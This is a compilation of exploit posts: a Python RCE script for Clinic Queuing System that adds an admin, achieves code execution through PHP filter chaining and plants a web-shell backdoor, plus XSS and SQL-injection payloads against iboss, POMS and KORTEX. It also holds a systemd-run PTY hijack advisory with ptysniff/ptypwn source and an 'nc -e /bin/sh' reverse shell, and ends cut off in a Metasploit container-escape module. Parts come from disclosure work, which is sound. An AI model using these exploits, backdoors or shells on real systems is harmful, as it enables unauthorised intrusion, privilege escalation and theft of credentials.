<pre><code># Exploit Title: Clinic Queuing System 1.0 RCE <br /># Date: 2024/1/7<br /># Exploit Author: Juan Marco Sanchez<br /># Vendor Homepage: https://www.sourcecodester.com/<br /># Software Link: https://www.sourcecodester.com/php/16439/clinic-queuing-system-using-php-and-sqlite3-source-code-free-download.html<br /># Version: 1.0<br /># Tested on: Debian Linux Apache Web Server<br /># CVE: CVE-2024-0264 and CVE-2024-0265<br /><br />import requests<br />import random<br />import argparse<br />from bs4 import BeautifulSoup<br /><br />parser = argparse.ArgumentParser()<br />parser.add_argument("target")<br />args = parser.parse_args()<br /><br />base_url = args.target<br />phase1_url = base_url + '/LoginRegistration.php?a=save_user'<br />phase2_url = base_url + '/LoginRegistration.php?a=login'<br /><br />filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"<br /><br />def phase1(): # CVE-2024-0264<br /> rand_user = 'pwn_'+str(random.randint(100, 313))<br /> rand_pass = 'pwn_'+str(random.randint(100, 313))<br /> pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1}<br /> print("[*] adding administrator " + rand_user + ":" + rand_pass)<br /> phase1 = requests.post(phase1_url, pwn_user_data)<br /> if "User Account has been added successfully." in phase1.text:<br /> print("[+] Phase 1 Success - Admin user added!\n")<br /> print("[*] Initiating Phase 2")<br /> phase2(rand_user, rand_pass)<br /> else:<br /> print("[X] user creation failed :(")<br /> die()<br /><br />def phase2(user, password): # CVE-2024-0265<br /> s = requests.Session();<br /> login_data = {'formToken':'','username':user, 'password':password}<br /> print("[*] Loggin in....")<br /> phase2 = s.post(phase2_url, login_data)<br /><br /> if "Login successfully." in phase2.text:<br /> print("[+] Login success")<br /> else:<br /> print("[X] Login failed.")<br /> die()<br /><br /> print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n")<br /> rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';"<br /> #print("[*] Payload: " + rce_url)<br /> rce = s.get(rce_url)<br /> <br /> if "jmrcsnchz" in rce.text:<br /> print("[+] RCE success!")<br /> soup = BeautifulSoup(rce.text, 'html.parser')<br /> print("[+] Output of id: " + soup.pre.get_text())<br /> print("[*] Uploading php backdoor....")<br /> s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));")<br /> print("[+] Access at " + base_url + "/rce.php?0=whoami")<br /> else:<br /> print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.")<br /> die()<br /><br />try:<br /> print("[*] Initiating Phase 1")<br /> phase1()<br />except:<br /> print("Exploit failed.")<br /> <br /><br /></code></pre>
<pre><code># Exploit Title: iboss Secure Web Gateway - Stored Cross-Site Scripting (XSS)<br /># Date: 4/4/2024<br /># Exploit Author: modrnProph3t<br /># Vendor Homepage: https://www.iboss.com<br /># Version: < 10.2.0<br /># CVE-2024-3378<br /># Reference: https://github.com/modrnProph3t/CVE/blob/main/CVE-2024-3378.md<br /><br /><br />## Description<br />A stored Cross Site Scripting (XSS) vulnerability was found in the iboss Secure Web Gateway product. The vulnerability is exploited by submitting a login attempt, intercepting the request, and adding a payload to the ÒredirectUrlÓ parameter before sending it to the server. After submitting the request, visiting the initial login page will cause the website to load, including the previously submitted payload.<br /><br />This is an unauthenticated attack (credentials do not need to be valid) and the payload is stored on the server and included in every response to a GET request for the login page until a new POST request is made to the server without a payload included.<br /><br />## Proof of Conept<br />1. Access the login portal located at /login<br /><br /><br />2. Submit login attempt and intercept the request<br /><br />Example of unaltered request:<br />```<br />POST /user_login_submit HTTP/1.1<br />Host: <domain><br /><--Headers Removed--><br /> <br />userName=TEST&x=TEST&action=login&redirectUrl=<br />```<br /><br /><br />3. Insert XSS payload into the "redirectUrl" parameter<br /> <br />Example of request with inserted payload:<br />```<br />POST /user_login_submit HTTP/1.1<br />Host: <domain><br /><--Headers Removed--><br /> <br />userName=TEST&x=TEST&action=login&redirectUrl="><script>alert('XSS')</script><br />```<br /><br /><br />4. After failed login attempt, return to the initial login page at the /login endpoint and observe payload execution<br /> <br /></code></pre>
<pre><code>## Titles: POMS-PHP-(by oretnom23 )-v1.0-FU-SQLi-RCE-HAT.TRICK<br />1. SQLi Bypass Authentication<br />2. File Upload<br />3. RCE<br />## Latest update from the vendor: 5 hours 32 minutes ago<br />## Author: nu11secur1ty<br />## Date: 05/07/2024<br />## Vendor: https://github.com/oretnom23<br />## Software:<br />https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html<br />## Reference: https://portswigger.net/web-security/sql-injection,<br />https://portswigger.net/web-security/file-upload,<br />https://portswigger.net/web-security/authentication<br /><br />## Description:<br />SQLi-Bypass-Authentication:<br />The username parameter is not sanitizing well, the attacker can bypass<br />authentication and login to the system.<br /><br />---------------------------------------------------------------------------------------------------------------------------------------<br />FU:<br />Using this vulnerability, the attacker can upload any PHP file on the<br />server.<br />The parameter id="cimg" is not sanitizing securely.<br />STATUS: CRITICAL- Vulnerability<br /><br />---------------------------------------------------------------------------------------------------------------------------------------<br />RCE:<br />The attacker can upload a malicious file with hazardous content. Then he<br />can use it to create another file on the server.<br />STATUS: CRITICAL- Vulnerability<br /><br />[+]Exploits:<br />- SQLi bypass authentication:<br />```mysql<br />nu11secur1ty' or 1=1#<br />```<br /><br />- FU:<br />```<br /><?php<br />phpinfo();<br />?><br />```<br /><br />- SQLi - Bypass-Authentication:<br />```<br /><?php<br />// by nu11secur1ty - 2023<br />$fh = fopen('test.html', 'a');<br />fwrite($fh, '<h1>Hello, you are hacked by Fileupload and RCE!</h1>');<br />fclose($fh);<br />//unlink('test.html');<br />?><br />```<br /><br />## Reproduce:<br />[href](https://www.patreon.com/posts/poms-php-by-v1-0-103786653)<br /><br />## Proof and Exploit:<br />[href](<br />https://www.nu11secur1ty.com/2024/05/poms-php-by-oretnom23-v10-fu-sqli-rce.html<br />)<br /><br />## Time spent:<br />00:35:00<br /></code></pre>
<pre><code>## Titles: KORTEX-1.0 SQLi<br />## Author: nu11secur1ty<br />## Date: 05/09/2024<br />## Vendor: https://mayurik.com/<br />## Software:<br />https://www.mayurik.com/source-code/P5339/best-free-law-office-management-software<br />## Reference: https://portswigger.net/web-security/sql-injection<br /><br />## Description:<br />The username parameter appears to be vulnerable to SQL injection attacks.<br />The payload '+(select load_file('\\\\<br />j9tazz9i4vz388nvkixldsjo2f88w7kynmf95xu.oastify.com\\szc'))+' was submitted<br />in the username parameter. This payload injects a SQL sub-query that calls<br />MySQL's load_file function with a UNC file path that references a URL on an<br />external domain. The application interacted with that domain, indicating<br />that the injected SQL query was executed.The attacker can get all<br />information from the system by using this vulnerability!<br /><br />STATUS: HIGH- Vulnerability<br /><br /><br />[+]Exploits:<br />- SQLi Multiple:<br />```mysql<br />---<br />Parameter: MULTIPART username ((custom) POST)<br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: ------WebKitFormBoundarydxCijN2QZ93BP1Et<br />Content-Disposition: form-data; name="username"<br /><br />RHJggJOT@burpcollaborator.net'+(select load_file('\\\\<br />j9tazz9i4vz388nvkixldsjo2f88w7kynmf95xu.oastify.com\\szc'))+'%' AND (SELECT<br />4483 FROM (SELECT(SLEEP(7)))KEXD) AND 'fMmv%'='fMmv<br />------WebKitFormBoundarydxCijN2QZ93BP1Et<br />Content-Disposition: form-data; name="password"<br /><br />n5F!i6u!I5<br />------WebKitFormBoundarydxCijN2QZ93BP1Et<br />Content-Disposition: form-data; name="g-recaptcha-r<br />---<br />```<br /><br />## Reproduce:<br />[href](https://www.patreon.com/posts/kortex-1-0-sqli-103918506)<br /><br />## Proof and Exploit:<br />[href](https://www.nu11secur1ty.com/2024/05/kortex-10-sqli.html)<br /><br />## Time spent:<br />00:39:00<br /><br /></code></pre>
<pre><code>-----BEGIN PGP SIGNED MESSAGE-----<br />Hash: SHA256<br /><br />secuvera-SA-2024-02: Multiple Persistent Cross-Site Scritping (XSS) flaws in Drupal-Wiki<br /><br />Affected Products<br /> Drupal Wiki 8.31 <br /> Drupal Wiki 8.30 (older releases have not been tested)<br /> <br />References<br /> https://www.secuvera.de/advisories/secuvera-SA-2024-02.txt (used for updates)<br /> CVE-2024-34481 <br /> CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')<br /> CVSS-B: 6.4 ( CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N )<br /> https://drupal-wiki.com/drupal-wiki-update-8-31/ (Vendor 1st Fix Release Notes)<br /><br />Summary:<br /> According to the Product Website Drupal-Wiki is an enterprise grade Wiki platform.<br /> The comment function of a Drupal-Wiki-Page is prone to persistent Cross-Site Scritping <br /> Attacks (persistent XSS).<br /> <br />Effect:<br /> A remote attacker that is allowed to edit a wiki page or comment to a wiki page is able to <br /> execute arbitrary (javascript) code within a victims' browser after the victim has opened<br /> a wiki page with malicous comments or content. <br /><br />Example:<br /> 1) XSS in comments to a Wiki Page<br /> The Following steps are needed to exploit the vulnerability on a Wiki-Page assuming<br /> that no login is needed to comment on a page.<br /> 1. Go to an arbitrary Wiki-Page.<br /> 2. Click on "submit comment" at the lower end of a Wiki Page<br /> 3. Enter the following into the comment form overlay and click on <br /> the "save" button:<br /> "'><img src=x onError=alert('XSS!')><br /> <br /> The above code creates a harmless JavaScript alert box whenever the Wiki-Page gets<br /> loaded.<br /> 2) XSS in captions:<br /> Open a Wiki-Page, insert a caption with the payload from example 1) and save it.<br /> <br /> <br /> 3) XSS in image titles<br /> Open a Wiki-Page, insert an image with the payload from example 1) as title and save it.<br /> <br /> <br />Solution<br /> Update to release 8.31.1 or newer.<br /><br />Disclosure Timeline:<br /> 2024/03/20 vulnerability discovered<br /> 2024/03/21 vendor contacted to get security contact details<br /> 2024/03/21 vendor replied with contact information<br /> 2024/03/21 vulnerability details sent to security contact<br /> 2024/03/21 vendor confirmed vulnerability, proposed fix in next release update<br /> 2024/03/25 vendor release update containing fix. <br /> 2024/03/27 requested CVE-ID, reworked CVSS, tested fix. First fix not fully remediating<br /> all issues, contacted vendor again to inform about fix test results.<br /> 2024/03/27 vendor replied confirming and proposed second fix with new update. <br /> planned publication of the SA for 2024/04/14<br /> 2024/04/14 postponed public release as assign request of cve was not answered yet.<br /> 2024/05/06 CVE was assigned. Public release.<br /><br />Credits:<br /> Simon Bieber<br /> sbieber@secuvera.de<br /> secuvera GmbH<br /> https://www.secuvera.de<br /> <br />Disclaimer:<br /> All information is provided without warranty. The intent is to<br /> provide information to secure infrastructure and/or systems, not<br /> to be able to attack or damage. Therefore secuvera shall<br /> not be liable for any direct or indirect damages that might be<br /> caused by using this information.<br />-----BEGIN PGP SIGNATURE-----<br /><br />iQIzBAEBCAAdFiEE6mgEBCu3JYBqmGrgDIJc8mYSY6UFAmY4k7YACgkQDIJc8mYS<br />Y6Xa1A//cTQ41Wp55MJwjE0t7ABw1RSmPskosPycpMxKgU79LH7xwGLpTaRxd1H9<br />BiNK/Q/4j5Ad4JtM4TDwb0j7XGj07/Cp+hBcomqKohe7hgVflhZOzUcWKvfQUbQt<br />1yto71AauEpTz32YebZMxrFJLUXtnJU9pPQnAB5iZOyDT5rsXvEBmCnG6OF1kviy<br />juXiiR15rZEiiWdW+CaAz3qr07Te0WD1i14IPvE55tuKNwp9LOZr9+Fl3CM2atxs<br />/LSjgZnTIWODnpnuAD3D2XT5XIj1AK5cEGgg+si4UuYFK/v0nTP4Pytlw2HbS0au<br />WvAqtiI8YwuhQOYvsXoQ5UYHjZzc2BrQ5mn2MujHb17/eMyG2o3bgPnZ9x+PxDSi<br />Z++4iRnwolip0ha2E0bIwq8dVyHYcCPfwkrAk3vSmvLmzEivz+OyXPPWwB6EVq8q<br />3/DRa9fcVO985bxOeBHImyqgPLm8je70Z51GBezCPlHltYXZ8AHpBzqc7Jp0DgUB<br />UYlQ3y3a62E5oQ8Uo0S7YFkM7ZYhFaxBeVZs4gC1QOo2FNyQjVvD11digf9M+uSR<br />aH3SwpHhYSIremKeWG9xDGCjN2fiSuEJHdhwAzWUHFa1b7PArB3Ypq3ILKgJyIwx<br />1S/LYqnuiCC00tp48b8AzMUdYqyeXIfhvOiYMEzzBIq2Ft+IW9U=<br />=hWhw<br />-----END PGP SIGNATURE-----<br /><br /></code></pre>
<pre><code>Systemd Insecure PTY Handling Vulnerability<br />===========================================<br />CVSSv3.BaseScore: 5.8<br />CVSSv3.Vector: AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N<br /><br />Short Description<br />=================<br />Systemd-run/run0 allocates user-owned pty's and attaches the slave<br />to high privilege programs without changing ownership or locking <br />the pty slave. <br /><br />Description<br />===========<br />Systemd-run/run0 is working towards a "sudo"-like replacement for <br />v256 that is based on the existing policykit and d-bus based "systemd-run" <br />transient service execution. The code in "src/run/run.c" on line 1673 <br />creates a PTY master and slave used for this process, and the slave <br />name is passed to unlockpt() on line 1689. This allows any process to <br />connect to e.g. "/dev/pts/4" slave interface, this interface is created <br />under the local user context executing "systemd-run". The code subsequently <br />uses a PTY forwarder (src/shared/ptyfwd.c) and d-bus once authentication<br />by policykit is approved, the slave end of the pty created will be<br />attached to the privileged executed program. As the slave interface<br />is not locked to the privilege level of the newly executed process,<br />a vulnerability is introduced to the system as any same-user process <br />can now interact with the slave end of the root program. <br /><br />Exploitation <br />============<br />This issue can be exploited by opening a handle to the slave interface<br />and using terminal I/O routines such as read() to access the input of<br />the root program. Slave PTY's are not designed for multiple programs to<br />access them and this has the unintended effect of redirecting input<br />intended for the privileged program back to unprivileged processes, an<br />example code "ptysniff.c" is provided here and terminal output that shows <br />the issue being used to read input from a systemd-run executed "passwd" <br />program, returning the password intended for the root program back to the <br />local user.<br /><br />User Terminal<br />=============<br />The user executes systemd with "--pty" to allocate a new "root" pty and<br />execute "passwd" in the new terminal.<br /><br />fantastic@fantastic-pc /dev/pts  systemd-run --pty passwd<br />==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====<br />Authentication is required to manage system services or other units.<br />Authenticating as: fantastic<br />Password:<br />==== AUTHENTICATION COMPLETE ====<br />Running as unit: run-u63.service<br />Press ^] three times within 1s to disconnect TTY.<br />New password:<br />Retype new password:<br /><br />Attacker Terminal<br />=================<br />The slave end of the systemd-run terminal is still owned by the local user<br />context, "/dev/pts/5" in the example above - allowing ptysniff to read the<br />password input intended to be sent to "passwd".<br /><br />fantastic@fantastic-pc  /Work/voldermort  ls -al /dev/pts/5<br />Permissions Size User Date Modified Name<br />crw--w---- 136,5 fantastic 4 May 08:51  /dev/pts/5<br />fantastic@fantastic-pc  /Work/voldermort  ./ptysniff /dev/pts/5<br />Received: p<br />Received: a<br />Received: s<br />Received: s<br />Received: w<br />Received: o<br />Received: r<br />Received: d<br />Received:<br /><br />/* ptysniff.c - read from a slave pts used by a higher privileged program */<br />#include <fcntl.h><br />#include <stdio.h><br />#include <unistd.h><br />#include <sys/file.h><br /><br />#define BUF_SIZE 1024<br /><br />int main(int argc, char *argv[]) {<br /> if (argc != 2) {<br /> fprintf(stderr, "Usage: %s <pts>\n", argv[0]);<br /> return 1;<br /> }<br /> int fd = open(argv[1], O_RDWR | O_NOCTTY);<br /> if (fd == -1) {<br /> perror("open");<br /> return 1;<br /> }<br /> char buf[BUF_SIZE];<br /> ssize_t numRead;<br /> while (1) {<br /> if (flock(fd, LOCK_EX) == -1) {<br /> perror("flock");<br /> return 1;<br /> }<br /> numRead = read(fd, buf, BUF_SIZE - 1);<br /> if (numRead == -1) {<br /> perror("read");<br /> return 1;<br /> }<br /> for (int i = 0; i < numRead; i++) {<br /> printf("Received: %c\n", buf[i]);<br /> }<br /> if (flock(fd, LOCK_UN) == -1) {<br /> perror("flock");<br /> return 1;<br /> }<br /> }<br /> return 0;<br />}<br /><br />Recommendation<br />==============<br />It is recommended the systemd-run created pty slave interface<br />is chown()'d to the same user as the privileged execution context<br />that it operates, this would result in "permission denied" when<br />attempting to attach another program to the slave end of the pty.<br /><br />Additional Information<br />======================<br />In addition to the vulnerability outlined above, it is possible to<br />exploit the problem to execute commands or completely hijack the <br />root owned program from the same-user context when other conditions <br />are met. Linux Kernel since around 4.1 has enabled ptrace YAMA, a<br />protection that limits the use of ptrace for debugging purposes.<br />With ptrace_classic set to enabled, such as with the following <br />command.<br /><br />"echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope" <br /><br />It is possible to simply read the master fd for the pty from the<br />"systemd-run" application, and re-parent a process to use the <br />master end - hijacking the root program which would not be accessible<br />to ptrace. This can be done with GDB (set inferior tty) or a tool such <br />as "reptyr". <br /><br />User Terminal<br />=============<br />fantastic@fantastic-pc  /Work/systemd   main   systemd-run --shell<br />Running as unit: run-u87.service; invocation ID: abc22b3152ae48cea20ce86c11b555a1<br />Press ^] three times within 1s to disconnect TTY.<br />[root@fantastic-pc systemd]# <br /><br />Attacker Terminal<br />=================<br />fantastic@fantastic-pc  /Work/systemd   main   ps -aef | grep systemd-run | grep shell | grep -v grep;id;tty<br />fantast+ 5541 5477 0 09:08 pts/6 00:00:00 systemd-run --shell<br />uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)<br />/dev/pts/1<br />fantastic@fantastic-pc  /Work/systemd   main   reptyr -T 5541<br />[root@fantastic-pc systemd]# id<br />uid=0(root) gid=0(root) groups=0(root)<br />[root@fantastic-pc systemd]# tty<br />/dev/pts/0<br /><br />Enabling ptrace_classic should not result in "root" permissions to unprivileged <br />users, many operating systems support debugging applications and can do so without<br />immediately giving away Administrative rights, YAMA is intended to provide this<br />protection. However, sessions and terminals started under "SSHD" for instance are <br />protected against these attacks through use of "prctl()" to prevent ptrace_attach <br />from connecting to the process, preventing them being read even with ptrace_classic. <br />This issue can also impact "su" and "sudo" and is a wider problem in Linux when <br />ptrace_classic is enabled. Ensure that production systems do not support the use<br />of ptrace_classic.<br /><br />Another path of exploitation can also be undertaken by an attacker when ptrace_classic<br />is disabled, however they must be able to re-parent their tty or have control of execution <br />of a child within the parent process. Attempts to call ioctl() with TIOCSTI historically<br />required only the same user-context to access the tty, however to limit these attacks Linux<br />now requires the process calling the ioctl() to be a descendant of the parent process using<br />the pty or have the pty set as its controlling terminal. An example is shown here, an attacker <br />uses "nc" to execute "ptypwn" and hijack a root program executed later through systemd-run <br />by the parent. The source code for ptypwn.c is provided.<br /><br />User Terminal<br />=============<br />fantastic@fantastic-pc    tty<br />/dev/pts/3<br />fantastic@fantastic-pc    nc -e /bin/sh localhost 1337 &<br />[1] 6926<br />  fantastic@fantastic-pc    systemd-run --shell<br />==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====<br />Authentication is required to manage system services or other units.<br />Authenticating as: fantastic<br />Password:<br />==== AUTHENTICATION COMPLETE ====<br />Running as unit: run-u100.service<br />Press ^] three times within 1s to disconnect TTY.<br />[root@fantastic-pc fantastic]# id<br />uid=0(root) gid=0(root) groups=0(root)<br />[root@fantastic-pc fantastic]# id<br />uid=0(root) gid=0(root) groups=0(root)<br />[root@fantastic-pc fantastic]# id<br />uid=0(root) gid=0(root) groups=0(root)<br />[root@fantastic-pc fantastic]#<br /><br />Attacker Terminal<br />================= <br />fantastic@fantastic-pc  /Work/voldermort  nc -v -v -l -p 1337<br />Listening on any address 1337 (menandmice-dns)<br />Connection from 127.0.0.1:49282<br />tty;id<br />not a tty<br />uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)<br />./ptypwn /dev/pts/3<br />./ptypwn /dev/pts/3<br />./ptypwn /dev/pts/3<br /><br />/* ptypwn.c - use TIOCSTI ioctl to inject commands into user-owned pty */<br />#include <fcntl.h><br />#include <stdio.h><br />#include <string.h><br />#include <sys/ioctl.h><br /><br />int main(int argc, char *argv[]) {<br /> if (argc != 2) {<br /> fprintf(stderr, "Usage: %s <pts>\n", argv[0]);<br /> return 1;<br /> }<br /> int fd = open(argv[1], O_RDWR);<br /> if (fd < 0) {<br /> perror("open");<br /> return -1;<br /> }<br /> char *x = "id\n";<br /> while (*x != 0) {<br /> int ret = ioctl(fd, TIOCSTI, x);<br /> if (ret == -1) {<br /> perror("ioctl()");<br /> }<br /> x++;<br /> }<br /> return 0;<br />}<br /><br />Additionally systemd-run supports a "--pipe" operation which will simply connect the privileged<br />process to the same-user parent tty directly, this option should be removed entirely as it offers<br />no protection against the attacks outlined above. <br /><br />PolicyKit / sudoer Configuration Discrepancy<br />============================================<br />It is worth noting that a common misconfiguration can present itself in systemd/policykit Linux <br />environments where users are not permitted to execute commands through "sudo" but are permitted<br />to execute commands through policykit services such as "systemd-run". This can lead to attackers<br />who would be denied "sudo" requests being able to obtain "root" permissions through "systemd-run".<br />An example of this configuration error can be seen below, as "systemd-run" proposes to become a <br />"sudo" replacement, this issue has been included for completeness and for system administrators to<br />review their sudo and policykit configurations to ensure such discrepancies do not exist. <br /><br />fantastic@fantastic-pc    sudo su -<br />fantastic is not in the sudoers file.<br />   fantastic@fantastic-pc    systemd-run --shell<br />==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====<br />Authentication is required to manage system services or other units.<br />Authenticating as: fantastic<br />Password:<br />==== AUTHENTICATION COMPLETE ====<br />Running as unit: run-u107.service<br />Press ^] three times within 1s to disconnect TTY.<br />[root@fantastic-pc fantastic]# id<br />uid=0(root) gid=0(root) groups=0(root) <br /><br />TLDR; Conclusion<br />================<br />Systemd-run/run0 should chown() the created slave pty interface to the same user context<br />using the pty, this will limit privilege escalation opportunities within the system and<br />address the medium risk issue highlighted at the start of this advisory. The additional<br />information in this advisory discusses wider Linux pty security handling issues, insecure <br />configurations and thier exploitation naunces that can be leveraged for privilege escalation <br />attacks. Whilst these tactics will serve Red Team's targetting Linux, it is noted that similar<br />threats against Microsoft's recently introduced "sudo" that allowed any local user to obtain<br />elevated rights through insecure pipe handlers were quickly addressed. It is also noted that<br />despite the insecure system configurations, applications such as "SSHD" protect against some<br />of the highlighted risks through proper use of prctl() to prevent ptrace_attach() and hardening<br />on TTY allocation and handling. Fixing the vulnerability outlined in systemd-run through chown()<br />is recommended, the Linux community should take note that the attacker threatscape has changed<br />significantly with a renewed interest in targetting these systems by adversaries - consideration<br />should be given to hardening PTY/TTY handling processes and protection against ptrace_classic<br />regardless when privileged system operations take place. Attackers are less likely to use<br />on-disk methods such as manipulation of .profile or .bashrc when they can simply hijack the <br />requested permissions at a later date without touching disk from implants or other malicious <br />code that has obtained execution in the contexts described above. In relation to security <br />boundaries, the polkit authentication request sent by systemd-run is ONE-SHOT, as opposed to<br />persitent. This means that every request to systemd-run for elevation should present the user<br />with a password prompt, by exploiting this issue the elevation request behaves as persistent <br />for the lifecycle of the elevated program. <br /> <br />-- Hacker Fantastic 04/05/2024<br />https://hacker.house<br /><br /><br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br />class MetasploitModule < Msf::Exploit::Local<br /> Rank = NormalRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> include Msf::Post::File<br /> include Msf::Post::Unix<br /> include Msf::Post::Linux::System<br /> include Msf::Post::Linux::Kernel<br /> include Msf::Exploit::FileDropper<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> {<br /> 'Name' => 'Docker Privileged Container Kernel Escape',<br /> 'Description' => %q{<br /> This module performs a container escape onto the host as the daemon<br /> user. It takes advantage of the SYS_MODULE capability. If that<br /> exists and the linux headers are available to compile on the target,<br /> then we can escape onto the host.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Nick Cottrell <Rad10Logic>', # Module writer<br /> 'Eran Ayalon', # PoC/article writer<br /> 'Ilan Sokol' # PoC/article writer<br /> ],<br /> 'Platform' => %w[linux unix],<br /> 'Arch' => [ARCH_CMD],<br /> 'Targets' => [['Automatic', {}]],<br /> 'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 20 },<br /> 'SessionTypes' => %w[shell meterpreter],<br /> 'DefaultTarget' => 0,<br /> 'References' => [<br /> %w[URL https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities],<br /> %w[URL https://github.com/maK-/reverse-shell-access-kernel-module]<br /> ],<br /> 'DisclosureDate' => '2014-05-01', # Went in date of commits in github URL<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE ],<br /> 'Reliability' => [ REPEATABLE_SESSION ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]<br /> }<br /> }<br /> )<br /> )<br /> register_advanced_options([<br /> OptString.new('KernelModuleName', [true, 'The name that the kernel module will be called in the system', rand_text_alpha(8)], regex: /^[\w-]+$/),<br /> OptString.new('WritableContainerDir', [true, 'A directory where we can write files in the container', "/tmp/.#{rand_text_alpha(4)}"])<br 